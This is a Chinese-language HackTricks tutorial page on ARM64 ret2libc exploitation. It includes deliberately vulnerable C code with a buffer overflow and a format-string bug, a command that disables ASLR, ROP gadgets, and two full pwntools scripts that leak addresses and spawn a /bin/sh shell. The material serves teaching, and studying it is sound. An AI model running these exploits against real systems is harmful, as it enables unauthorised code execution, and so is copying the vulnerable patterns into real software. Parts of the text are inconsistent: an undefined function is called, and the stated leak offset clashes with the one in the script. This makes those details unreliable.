Ret2lib + Printf leak - ARM64
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Ret2lib - NX bypass with ROP (no ASLR)
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
编译时禁用 canary:
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
查找 offset - x30 offset
使用 pattern create 200 创建一个 pattern,使用它,并用 pattern search $x30 检查 offset,我们可以看到 offset 为 108 (0x6c)。
.png)
查看反汇编的 main 函数,我们可以看到我们想要直接跳转到调用 printf 的指令,该指令相对于二进制加载地址的 offset 为 0x860:
.png)
查找 system 和 /bin/sh 字符串
由于 ASLR 被禁用,地址将始终相同:
.png)
查找 Gadgets
我们需要在 x0 中放入指向字符串 /bin/sh 的地址,并调用 system。
使用 rooper 找到一个有趣的 gadget:
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
这个 gadget 会从 $sp + 0x18 加载 x0,然后从 sp 加载地址 x29 和 x30 并跳转到 x30。因此利用这个 gadget 我们可以控制第一个参数然后跳转到 system。
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
Ret2lib - 使用来自 stack 的 printf leaks 绕过 NX、ASL 和 PIE
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
编译 没有 canary:
clang -o rop rop.c -fno-stack-protector -Wno-format-security
PIE 和 ASLR 但没有 canary
- 回合 1:
- 从 stack leak 出 PIE
- 利用 bof 返回 main
- 回合 2:
- 从 stack leak 出 libc
- ROP: ret2system
Printf leaks
在调用 printf 之前设置断点,可以看到 stack 中存在可返回到 binary 的地址,以及 libc 地址:
.png)
尝试不同的偏移,%21$p 可以 leak 出一个 binary 地址(PIE bypass),而 %25$p 可以 leak 出 libc 的地址:
.png)
将 libc leaked address 与 libc 的基地址相减,可以看到该 leaked address 相对于基地址的 offset 为 0x49c40。
x30 offset
参见前面的示例,因为 bof 是相同的。
查找 Gadgets
与前面的示例类似,我们需要在 x0 中放置字符串 /bin/sh 的地址,然后调用 system。
使用 rooper 找到了另一个有趣的 gadget:
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
这个 gadget 会从 $sp + 0x78 加载 x0,然后从 sp 加载地址 x29 和 x30 并跳转到 x30。 所以借助这个 gadget 我们可以 控制第一个参数并跳转到 system。
利用
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


